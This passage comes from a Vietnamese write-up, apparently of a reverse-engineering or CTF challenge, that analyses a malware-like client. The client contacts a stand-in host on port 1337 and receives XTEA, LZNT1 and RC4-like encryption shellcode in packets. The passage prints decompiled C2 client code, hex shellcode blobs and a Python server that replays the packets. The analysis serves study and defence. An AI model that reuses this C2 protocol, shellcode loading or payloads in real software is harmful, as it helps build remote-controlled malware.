    v10.<span class="hljs-built_in">memcpy</span> = (<span class="hljs-keyword">int</span>)<span class="hljs-built_in">memcpy</span>;
    v10.<span class="hljs-built_in">malloc</span> = (<span class="hljs-keyword">int</span>)<span class="hljs-built_in">malloc</span>;
    pAPI = (<span class="hljs-keyword">int</span>)v3;
    v10.GetProcAddress = (<span class="hljs-keyword">int</span>)GetProcAddr;
    v10.send = (<span class="hljs-keyword">int</span>)SeemLikeSend;
    v10.___ = <span class="hljs-number">0</span>;
    v10.<span class="hljs-built_in">free</span> = (<span class="hljs-keyword">int</span>)<span class="hljs-built_in">free</span>;
    qmemcpy(v3, &amp;v10, <span class="hljs-keyword">sizeof</span>(struc_1));
  }
  <span class="hljs-keyword">if</span> ( !pHOST )
  {
    v4 = (struc_2 *)<span class="hljs-keyword">operator</span> <span class="hljs-keyword">new</span>(<span class="hljs-number">0x24</span>u);
    Block = v4;
    <span class="hljs-built_in">memset</span>(v4, <span class="hljs-number">0</span>, <span class="hljs-keyword">sizeof</span>(struc_2));
    v4-&gt;host = (<span class="hljs-keyword">int</span>)<span class="hljs-string">"totally-not-malicious-host.local"</span>;
    v4-&gt;port = <span class="hljs-number">1337</span>;
    v5 = pAPI;
    v4-&gt;connecting = <span class="hljs-number">0</span>;
    v4-&gt;field_8 = <span class="hljs-number">0</span>;
    v4-&gt;field_C = <span class="hljs-number">0</span>;
    v4-&gt;XTEAenc = <span class="hljs-number">0</span>;
    v4-&gt;XTEAdec = <span class="hljs-number">0</span>;
    v4-&gt;LZNTenc = <span class="hljs-number">0</span>;
    v4-&gt;LZNTdec = <span class="hljs-number">0</span>;
    v4-&gt;pAPT = v5;
    pHOST = v4;
  }
  <span class="hljs-keyword">if</span> ( !dword_74CD7520 )
  {
    v6 = <span class="hljs-keyword">operator</span> <span class="hljs-keyword">new</span>(<span class="hljs-number">8u</span>);
    Block = v6;
    v13 = <span class="hljs-number">0</span>;
    v9 = <span class="hljs-number">24</span>;
    *v6 = <span class="hljs-number">0</span>;
    v6[<span class="hljs-number">1</span>] = <span class="hljs-number">0</span>;
    v7 = <span class="hljs-keyword">operator</span> <span class="hljs-keyword">new</span>(v9);
    v13 = <span class="hljs-number">-1</span>;
    *v7 = v7;
    v7[<span class="hljs-number">1</span>] = v7;
    v7[<span class="hljs-number">2</span>] = v7;
    *((_WORD *)v7 + <span class="hljs-number">6</span>) = <span class="hljs-number">257</span>;
    *v6 = v7;
    dword_74CD7520 = (<span class="hljs-keyword">int</span>)v6;
  }
  <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )
  {
    <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> __int8)check_connection() )
    {
      <span class="hljs-keyword">while</span> ( pHOST-&gt;connecting )
      {
        Sleep(<span class="hljs-number">0xA</span>u);
        <span class="hljs-built_in">memset</span>(v12, <span class="hljs-number">0</span>, <span class="hljs-number">12</span>);
        sub_74CD1467(v12);
        v13 = <span class="hljs-number">1</span>;
        sub_74CD23AC((<span class="hljs-keyword">int</span> *)&amp;v8, v12);
        sub_74CD1E9F(v8, (<span class="hljs-keyword">char</span> *)v9);
        v13 = <span class="hljs-number">-1</span>;
        sub_74CD16B7(v12);
      }
    }
    Sleep(<span class="hljs-number">0x7530</span>u);
  }
}
</code></pre>
<p>Vì có hàm check_connection, tức là ta sẽ phải tiến hành gửi data thì ta mới tiếp tục debug được. Mình mô phỏng lại quá trình mình gửi gói tin như sau</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> socket

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_client</span>(<span class="hljs-params">client_socket</span>):</span>
    <span class="hljs-comment"># Sequence of messages to send</span>
    messages = [
        <span class="hljs-string">"bebafeca0e0000000461647661706933322e646c6c00"</span>,
        <span class="hljs-string">"bebafeca79020000010000000050010000558bec83ec14837d0c005356570f842f0100008b7d1485ff0f84240100008b45108bc88d50188955fc83e107760cb8080000002bc103d08955fc8b451839100f82fd0000008b7508526a00578b460cffd0ff75108b46108d5f18ff750c895d0853ffd08b0683c41868ac6f920268bc99e10effd085c00f84c60000006a108d4dec51ffd08b45fc83c0e803c389450c3bd8736a8b3333c08b7b048d58400f1f008bd78bcfc1e104c1ea0533d18bc883e10303d78b4c8dec03c82d4786c86133d103f28bd68bcec1e104c1ea0533d18bc8c1e90b03d683e1038b4c8dec03c833d103fa83eb0175b98b5d088933897b0483c308895d083b5d0c72998b7d148b45108947048b45ec3541455458c707414554588947088b0f8b45f0354145545889470c8bc13345f4334df8894f148b4d188947108b45fc5f5e8901b0015b8be55dc214005f5e32c05b8be55dc21400cccccc558bec8b4d0c83ec14535685c90f84f80000008b5d1485db0f84ed0000008b45108d50e8f6c2070f85de0000008b451839100f82d30000008b3181fe414554580f85c50000003951040f87bc0000008b410833c68945ec8b410c33c68945f08b411033c68945f48b411483c11833c6894d108945f88d04118945fc3bc87377578b01be406ede8d8903bb400000008b79048bd08bc8c1e104c1ea0533d18bcec1e90b03d083e1038b4c8dec03ce81c64786c86133d12bfa8bd78bcfc1e104c1ea0533d18bce83e10303d78b4c8dec03ce33d12bc283eb0175b88b5d148b4d1083c108894d108903897b0483c308895d143b4dfc728b5f8b450c8b4d185e5b8b40048901b0018be55dc214005e32c05b8be55dc21400cccccccccccccccccccccc"</span>,
        <span class="hljs-string">"bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101"</span>,
        <span class="hljs-string">"bebafeca580100004145545839010000b54fb16fb069d5f6aa74bfce1e7acadfff39c559031103c32d29296582588c894d17fc54eaf5d75e634b48c52a37fa1692c135b8ec566eada9b292ee81b7f96ecc2bd0006935b5561d0f487fb0449f2a7195c5a5cfa3e381a949f62f49f58eabfd959aa0b33589f58f4932dc0032ad91e0ed74b83c07d5dbce2312d333f5ab2fe12ce4386bd7614a7e10220bce11f5cfbab18a03ddac1e01968da4c488c06e20131a953235e0267d85b5a773142500a002826633c6977d018f8b085f327c7f38d1d59838e891e7cf1779cacca0ce5f6df615ee5202e242f3b0a94a5102ac4c984c9723b52a4f03405fdfd3883d11e3a02b65dd5c4195a4dbc543405663a59b44c3c1a87168d883005d70325fbeaeb9aef25dab01198a5146d396a68794e0290ac6d77bff051916f57a01b0e6fc995322ea57fd5a429709b2ea42737e22162cb84c9723b52a4f03405cde09ebfefc5628"</span>,
        <span class="hljs-string">"bebafeca3000000041455458140000000fea624ac93abb804b4a97254af779a8804db01a96fce8c5af4e0a9e09c3a50c06b9f8596f296075"</span>,
        <span class="hljs-string">"bebafeca30000000414554581400000035ab9bdf6a0556fddd0c3cafa03d320dd0a52d3f7c3f4b69d10dde2b96cd65fdb14905e21f659937"</span>,
        <span class="hljs-string">"bebafecae804000041455458cb040000557f5fc8a5d8ee06232f1ce068e0d2e4da0a9c094328183490bfa7d4b8f994c8b059eda20c72fac325cd1bb4a5bcb180c8d68b9e291b44da1ffefe585f8fef243cc81ae887615daea121e53c82c1b0d0a0684c05845ceb86c20226f12a5745d07eb697aa342c6825cd1b26c7414595acb078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c7c5e8668fef29f0a992407bb1f61666f8247df4e24ddeb7c6b1c531f58e14ad8de9f6961b40f4b13abd2dea746286f2d9ab21a0a22f79963ab078b3e95f6c11a659bebc075060f7400ad1d77b3c9f72c76ae6203b9de7d25aa8d996a003fd555c801ad904dc8b5145b1c531f58e14ad8de9f6961b40f4b13a8390dce88595215d9fc3f6a53e7e5dc4a1ae436e7194fa171d10675958f449a5bdd72c6e6b4112cf971cdc6c74e4f7d0a1820da3b327e3e95862a4d9ae0da97a98ff9c181d2d2a73f90744cb89b6e9bcd5e617961b8dfa799803fcc2525bd4ee480a4c85dfc9a7b1a415a91934db613f75365189c660d89fff78ee265334adf7096fdd9299b74150dd57a911d42b889d1f344ef0bbd8cc18f05089f5fa895bc2127e9ffc4cb04e3fe9dffc51afa0dc2492200013647b680d4423a12d94d482be92d6d5e8a08158d723392c359e1a988c120766523b0240d21e07e4cb7d4c4736d88fada37ee0f722ed4c998f842fbddbae1aa78b315fca7ab3f205ebcf9d9425b86eae94cb1f8233171c833e37bef32a440a7978921e57803878702132a88d1a6fed972f626a43cb8ed0ef500e5eee420255c617908f0a97a5110529f7ea48a511b667453d8bc0ea589c2c5cb11a759487838046c0e4b04eb39a11d297970bbdd5b9a5dcc196395cc59bf840a48134b4ba4ab7c3e53d78d3b4a3df8c3c9d7cbfecda338b51ea6210809dee80235d053bdecab9b98dde65df447269613290c780a91e3aa45e50aed5a48fccdf1b25ae83fabd889f4ae5cbf9a753173a0dcda48b8b5e6fef704dafc40912de96a0d9449da55c1711d1c7ced7aee913afcaed4b21e7cc286a80a9fc9000e0ed48d29a62d9a8214391ecc92723bc33f36acecd2959c542bf7290275fd107507d298aa79e5c1b12b140cca7fc696183115473667b1bca08c1ce82ed83e38dc26da9458770e178b41229cb349fce26bbf7c3819eb0e95390dac738a575e9b0ca184ae8cd5f444c3b6a906d6e99b79b09b1c07f0c5988e43307d9bd1ad5ebf5e7871c97d0f6b23fd1bf84968b608436fedf13b674e668e7f61d385164fba436d1169a58129106748398868507b9a00c9071a91eea08891fca5de6e871f9b928351be45d4650771f85d778b002cd840558204e98f5f9777cf9c6d967fdf7bb4355978e523d682d17b6e5b1fdec5cee68c17f0af81e263200089838ce6fd2f116fedd01a900932d960107eef590a06c5b4252c041fbb131d653c07a4a11e26fbbf968baff1b1e081cbc6579e9b54a367483a9d87194ef2603c797c8ad913a40ca4bde0abdbecffd26d46014981a623a0386467bb9aca3bda464af2c8df9bfefad94d7e79cc97cba419a84594171829ac12a411856c1f2e28aee09848a6e2234dce3340fdeb1c03d9b4343886cdbd91601c2e4830e4607bd97062b92b2c1927ced3c39729f20eeae41e8c0c7ae32613a9081c71edfd5f2528dd9cd8b56a352212f251d12b34085f812adbc8bb919d29b298d21a9570c21eb34cfa218051b5bd5fb8078b125b31bfa703c067e57b0bc9896072bd75436c715"</span>,
        <span class="hljs-string">"bebafeca28000000414554580c000000a3a12c0401f558f0759f7c50a64c6f666a7c7dcd42251c4d8bbbc5e8cd02bdef"</span>,
        <span class="hljs-string">"bebafeca28000000414554580c000000d5142bbf3005d1d1ddd2185c6e4c3f92195a4ddfc763c88398fdb87df9e654cc"</span>,
        <span class="hljs-string">"bebafeca58000000414554583d00000044695bc5a9e71e0b4a95a72643b607059e25b0f139d4eab186ed8d56bfd9c458662db2e3fb5a8b5f6db44143c092d9a0b911d798eab2a2d30c8eabd811189fe83b55efdf40aba58724f9bd065e7c4dd0"</span>,
    ]
    message_index = <span class="hljs-number">0</span>

    <span class="hljs-keyword">while</span> message_index &lt; len(messages):
        messagehex = messages[message_index]
        message = bytes.fromhex(messagehex)
        client_socket.send(message)
        print(<span class="hljs-string">f"Sent message: <span class="hljs-subst">{messagehex}</span>"</span>)
        message_index += <span class="hljs-number">1</span>

        <span class="hljs-comment"># Receive response</span>
        response = client_socket.recv(<span class="hljs-number">1024</span>)
        print(<span class="hljs-string">f"Received response: <span class="hljs-subst">{response.hex()}</span>"</span>)

    client_socket.close()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((<span class="hljs-string">'0.0.0.0'</span>, <span class="hljs-number">1337</span>))
    server_socket.listen(<span class="hljs-number">1</span>)

    print(<span class="hljs-string">"Server is listening for incoming connections..."</span>)

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        client_socket, addr = server_socket.accept()
        print(<span class="hljs-string">f"Accepted connection from: <span class="hljs-subst">{addr}</span>"</span>)
        handle_client(client_socket)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>Các biến messages ở kia là data được gửi từ port <code>1337</code> như mình thấy trong chương trình, nhưng trước khi cho chay, ta phải cho client nhận diện được server. Ta sẽ phải thêm host như sau</p>
<p><img src="https://hackmd.io/_uploads/HJJuFM5cT.png" alt="image" /></p>
<h3 id="heading-cach-hoat-dong-cua-viec-trao-doi-qua-lai-cac-goi-tin-va-cach-thuc-file-duoc-ma-hoa"><strong>Cách hoạt động của việc trao đổi qua lại các gói tin và cách thức file được mã hóa</strong></h3>
<p>Mình sẽ chia các gói tin thành 4 loại:</p>
<ol>
<li><p>Cái gì đó mình cũng không rõ lắm: Nhưng trông như load lib và mem</p>
</li>
<li><p>Shellcode: Shellcode cho việc mã hóa, mỗi gói tin shellcode sẽ bao gồm cả hàm mã hóa và hàm giải mã. Mỗi khi shellcode mã hóa được load vào, các gói tin sau sẽ sử dụng hàm mã hóa và giải mã đã được load vào để phục vụ cho việc trao đổi</p>
</li>
<li><p>Request: Yêu cầu gì gửi cái đó, sau khi các gói tin shellcode được gửi lên hết</p>
</li>
<li><p>File + key dùng cho việc mã hóa: Do phân tích mình thấy nó sử dụng key, và trông nó giống với mã hóa dòng khi đọc src. Thêm với việc mình dùng ciphertext + key cho chạy qua hàm mã hóa thì ra được plaintext, giống với RC4 nên mình để tên nó là RC4 cho dễ gọi</p>
<p> <img src="https://hackmd.io/_uploads/Skzkf39cT.png" alt="image" class="image--center mx-auto" /></p>
</li>
</ol>
<h3 id="heading-luong-chay-co-ban-cua-chuong-trinh"><strong>Luồng chạy cơ bản của chương trình</strong></h3>
<p>Chương trình sẽ gửi các gói tin có dạng như <code>bebafeca28000000414554580b00000001fb78a72167016c973955e4162d0c6a8724fcfccb3d122158ff757d46772101</code>. Sau khi nhận được data, chương trình sẽ kiếm tra xem có đúng định dạng của gói tin hay không qua signature là <code>0xCAFEBABE</code></p>
<p><img src="https://hackmd.io/_uploads/B10xY1sqT.png" alt="image" /></p>
<p>Tiếp theo chương trình sẽ lấy size của đoạn data không tinh 4 byte signature và 4 byte chỉ đổ lớn</p>
<p><img src="https://hackmd.io/_uploads/r1DIc1i9p.png" alt="image" /></p>
<p>Và đoạn recv cuối cùng sẽ lấy đoạn data sau cùng trông như này</p>
<p><img src="https://hackmd.io/_uploads/BkCF5ko9p.png" alt="image" /></p>
<p>Sau khi chia ra được 3 phần như vậy rồi. Chương trình sẽ tiền hành giải mã gói tin(tùy thuộc vào thời điểm gói tin được gửi. Như trong trường hợp này thì chỉ giải mã <code>XTEA</code>).</p>
<p><img src="https://hackmd.io/_uploads/H1r-oJi9a.png" alt="image" /></p>
<p>Tiến hành giải mã xong, chương trình sẽ cấp phát 1 vùng nhớ để chứa địa chỉ được gán cho data mà mình vừa nhận được thông qua hàm sau(Nói chung hàm này mình không thấy nó có gì quan trọng lắm)</p>
<p><img src="https://hackmd.io/_uploads/SyaIiyo56.png" alt="image" /></p>
<p>Sau đó chương trình thực hiện quá trình xử lý để gửi đi. Ở trong hàm này có 5 option cho ta chọn</p>
<p><img src="https://hackmd.io/_uploads/B1Zy2Jjqp.png" alt="image" /></p>
<p>Tùy vào mỗi gói dữ liệu khác nhau sẽ nhảy vào các option khác nhau.</p>
<p>Tiến hành mã hóa, add size, add signature và gửi trả</p>
<p><img src="https://hackmd.io/_uploads/BJlLnkoca.png" alt="image" /></p>
<p>Tiến hành mã hóa các kiểu</p>
<p><img src="https://hackmd.io/_uploads/By-d2yoq6.png" alt="image" /></p>
<p>Add size, add signature và gửi đi</p>
<h3 id="heading-phan-tich-cac-goi-tin"><strong>Phân tích các gói tin</strong></h3>
<p><img src="https://hackmd.io/_uploads/HJPu9Gc96.png" alt="image" /></p>
<p><strong>Gói tin thứ 1</strong>, có nội dung là <code>advapi32.dll</code>. Đây là loại 1 mình đã phân loại</p>
<p>Tiếp theo chương trình đi vào hàm xử lý để trả về cho host</p>
<p><img src="https://hackmd.io/_uploads/BJrNla55p.png" alt="image" /></p>
<p>Ở đây chương trình chạy vào option số 4 cho ta để dữ liệu được trả về, do ở đây ta chưa load shell mã hóa nên ta gửi gì thì nhận lại cái đó</p>
<p><img src="https://hackmd.io/_uploads/S186zTq5p.png" alt="image" class="image--center mx-auto" /></p>
<p><strong>Gói tin thứ 2</strong> là shellcode của mã hóa XTEA, bao gồm cả thuật toán mã hóa và giải mã</p>
<p>Thuật toán mã hóa được dùng để mã hóa khi gửi gói tin đi:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">char</span> __stdcall <span class="hljs-title">sub_A72FE1</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a1, <span class="hljs-keyword">int</span> a2, <span class="hljs-keyword">int</span> a3, _DWORD *a4, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *a5)</span>
</span>{
  <span class="hljs-keyword">int</span> *v5; <span class="hljs-comment">// edi</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v6; <span class="hljs-comment">// edx</span>
  <span class="hljs-keyword">int</span> v7; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *v9; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">void</span> (__stdcall *v10)(<span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v11; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v12; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v13; <span class="hljs-comment">// edi</span>
  <span class="hljs-keyword">int</span> v14; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v15; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> v16; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v17; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> v18; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v20[<span class="hljs-number">4</span>]; <span class="hljs-comment">// [esp+Ch] [ebp-14h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v21; <span class="hljs-comment">// [esp+1Ch] [ebp-4h]</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *v22; <span class="hljs-comment">// [esp+28h] [ebp+8h]</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v23; <span class="hljs-comment">// [esp+2Ch] [ebp+Ch]</span>

  <span class="hljs-keyword">if</span> ( !a2 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v5 = a4;
  <span class="hljs-keyword">if</span> ( !a4 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v6 = a3 + <span class="hljs-number">24</span>;
  v21 = a3 + <span class="hljs-number">24</span>;
  v7 = a3 &amp; <span class="hljs-number">7</span>;
  <span class="hljs-keyword">if</span> ( (a3 &amp; <span class="hljs-number">7</span>) != <span class="hljs-number">0</span> )
  {
    v6 += <span class="hljs-number">8</span> - v7;
    v21 = v6;
  }
  <span class="hljs-keyword">if</span> ( *a5 &lt; v6 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  (*(<span class="hljs-keyword">void</span> (__thiscall **)(<span class="hljs-keyword">int</span>, _DWORD *, _DWORD, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>))(a1 + <span class="hljs-number">12</span>))(v7, a4, <span class="hljs-number">0</span>, v6);
  v9 = a4 + <span class="hljs-number">6</span>;
  v22 = a4 + <span class="hljs-number">6</span>;
  (*(<span class="hljs-keyword">void</span> (__cdecl **)(_DWORD *, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))(a1 + <span class="hljs-number">16</span>))(a4 + <span class="hljs-number">6</span>, a2, a3);
  v10 = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>))(*(<span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))a1)(<span class="hljs-number">249665980</span>, <span class="hljs-number">43151276</span>);
  <span class="hljs-keyword">if</span> ( !v10 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v10(v20, <span class="hljs-number">16</span>);
  v23 = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)a4 + v21;
  <span class="hljs-keyword">if</span> ( v9 &lt; (_DWORD *)((<span class="hljs-keyword">char</span> *)a4 + v21) )
  {
    <span class="hljs-keyword">do</span>
    {
      v11 = *v9;
      v12 = <span class="hljs-number">0</span>;
      v13 = v9[<span class="hljs-number">1</span>];
      v14 = <span class="hljs-number">64</span>;
      <span class="hljs-keyword">do</span>
      {
        v15 = v12 + v20[v12 &amp; <span class="hljs-number">3</span>];
        v12 -= <span class="hljs-number">1640531527</span>;
        v11 += v15 ^ (v13 + ((<span class="hljs-number">16</span> * v13) ^ (v13 &gt;&gt; <span class="hljs-number">5</span>)));
        v13 += (v12 + v20[(v12 &gt;&gt; <span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>]) ^ (v11 + ((<span class="hljs-number">16</span> * v11) ^ (v11 &gt;&gt; <span class="hljs-number">5</span>)));
        --v14;
      }
      <span class="hljs-keyword">while</span> ( v14 );
      *v22 = v11;
      v22[<span class="hljs-number">1</span>] = v13;
      v9 = v22 + <span class="hljs-number">2</span>;
      v22 = v9;
    }
    <span class="hljs-keyword">while</span> ( (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v9 &lt; v23 );
    v5 = a4;
  }
  v5[<span class="hljs-number">1</span>] = a3;
  v16 = v20[<span class="hljs-number">0</span>] ^ <span class="hljs-string">'XTEA'</span>;
  *v5 = <span class="hljs-string">'XTEA'</span>;
  v5[<span class="hljs-number">2</span>] = v16;
  v17 = *v5;
  v5[<span class="hljs-number">3</span>] = v20[<span class="hljs-number">1</span>] ^ <span class="hljs-string">'XTEA'</span>;
  v18 = v20[<span class="hljs-number">2</span>] ^ v17;
  v5[<span class="hljs-number">5</span>] = v20[<span class="hljs-number">3</span>] ^ v17;
  v5[<span class="hljs-number">4</span>] = v18;
  *a5 = v21;
  <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>Thuật toán dùng để giải mã khi nhận gói tin và đọc:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">char</span> __stdcall <span class="hljs-title">sub_A73131</span><span class="hljs-params">(<span class="hljs-keyword">int</span> a1, _DWORD *a2, <span class="hljs-keyword">int</span> a3, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *a4, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *a5)</span>
</span>{
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *v5; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v6; <span class="hljs-comment">// edx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *v7; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v8; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v9; <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> v10; <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v11; <span class="hljs-comment">// edi</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v12; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> v14[<span class="hljs-number">4</span>]; <span class="hljs-comment">// [esp+8h] [ebp-14h]</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v15; <span class="hljs-comment">// [esp+18h] [ebp-4h]</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v16; <span class="hljs-comment">// [esp+2Ch] [ebp+10h]</span>

  <span class="hljs-keyword">if</span> ( !a2 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v5 = a4;
  <span class="hljs-keyword">if</span> ( !a4 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v6 = a3 - <span class="hljs-number">24</span>;
  <span class="hljs-keyword">if</span> ( (((_BYTE)a3 - <span class="hljs-number">24</span>) &amp; <span class="hljs-number">7</span>) != <span class="hljs-number">0</span> || *a5 &lt; v6 || *a2 != <span class="hljs-string">'XTEA'</span> || a2[<span class="hljs-number">1</span>] &gt; v6 )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  v14[<span class="hljs-number">0</span>] = a2[<span class="hljs-number">2</span>] ^ <span class="hljs-string">'XTEA'</span>;
  v14[<span class="hljs-number">1</span>] = a2[<span class="hljs-number">3</span>] ^ <span class="hljs-string">'XTEA'</span>;
  v14[<span class="hljs-number">2</span>] = a2[<span class="hljs-number">4</span>] ^ <span class="hljs-string">'XTEA'</span>;
  v7 = a2 + <span class="hljs-number">6</span>;
  v16 = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)v7;
  v14[<span class="hljs-number">3</span>] = a2[<span class="hljs-number">5</span>] ^ <span class="hljs-string">'XTEA'</span>;
  v15 = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)a2 + v6 + <span class="hljs-number">24</span>;
  <span class="hljs-keyword">if</span> ( v7 &lt; (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)((<span class="hljs-keyword">char</span> *)v7 + v6) )
  {
    <span class="hljs-keyword">do</span>
    {
      v8 = *v7;
      v9 = <span class="hljs-number">-1914802624</span>;
      *v5 = *v7;
      v10 = <span class="hljs-number">64</span>;
      v11 = v7[<span class="hljs-number">1</span>];
      <span class="hljs-keyword">do</span>
      {
        v12 = v9 + v14[(v9 &gt;&gt; <span class="hljs-number">11</span>) &amp; <span class="hljs-number">3</span>];
        v9 += <span class="hljs-number">1640531527</span>;
        v11 -= v12 ^ (v8 + ((<span class="hljs-number">16</span> * v8) ^ (v8 &gt;&gt; <span class="hljs-number">5</span>)));
        v8 -= (v9 + v14[v9 &amp; <span class="hljs-number">3</span>]) ^ (v11 + ((<span class="hljs-number">16</span> * v11) ^ (v11 &gt;&gt; <span class="hljs-number">5</span>)));
        --v10;
      }
      <span class="hljs-keyword">while</span> ( v10 );
      v16 += <span class="hljs-number">8</span>;
      v7 = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)v16;
      *a4 = v8;
      a4[<span class="hljs-number">1</span>] = v11;
      v5 = a4 + <span class="hljs-number">2</span>;
      a4 += <span class="hljs-number">2</span>;
    }
    <span class="hljs-keyword">while</span> ( v16 &lt; v15 );
  }
  *a5 = a2[<span class="hljs-number">1</span>];
  <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>Trong hàm xử lý để gửi trả phản hồi, chương trình chạy vào option số 1. Thêm với việc thực hiện mã hóa XTEA vừa được load để mã hóa kết quả rồi gửi lại phản hồi cho host. Trong hàm nãy lấy key ngẫu nhiên từ hàm <code>cryptbase_SystemFunction036</code></p>
<p><img src="https://hackmd.io/_uploads/SJRw8T9q6.png" alt="image" /></p>
<p>Khi nhận được gói <strong>tin thứ 3</strong>, trước hết chương trình sẽ tiến hành giải mã, vì ở gói tin trước ta đã load shellcode thực hiện giải mã XTEA khi nhận gói tin và mã hóa XTEA khi gửi, nên chương trình sẽ giải mã nó ra cho ta đọc trước rồi mới tiến hành tuần tự như gói tin trước.</p>
<p><img src="https://hackmd.io/_uploads/SJYgFTc56.png" alt="image" /></p>
<p>Dữ liệu sau khi được giải mã</p>
<p><img src="https://hackmd.io/_uploads/H1OVFpc9p.png" alt="image" /></p>
<p><strong>Gói tin thứ 4</strong> lại là shellcode, lần này chứ thuật toán mã hóa và giải mã <code>LZNT1</code></p>
<p>Mã hóa <code>LZNT1</code></p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">char</span> __stdcall <span class="hljs-title">sub_DD3A89</span><span class="hljs-params">(<span class="hljs-keyword">int</span> (__stdcall **a1)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>), <span class="hljs-keyword">int</span> a2, <span class="hljs-keyword">int</span> a3, _DWORD *a4, _DWORD *a5)</span>
</span>{
  <span class="hljs-keyword">int</span> (__stdcall **v5)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// esi</span>
  <span class="hljs-keyword">int</span> (__stdcall *v6)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD *, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ebx</span>
  <span class="hljs-keyword">int</span> (__stdcall *v7)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> (__stdcall ***)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>), <span class="hljs-keyword">char</span> *); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v8; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v9; <span class="hljs-comment">// edi</span>
  _DWORD *v11; <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">char</span> v12[<span class="hljs-number">4</span>]; <span class="hljs-comment">// [esp+Ch] [ebp-8h] BYREF</span>
  <span class="hljs-keyword">int</span> v13; <span class="hljs-comment">// [esp+10h] [ebp-4h] BYREF</span>

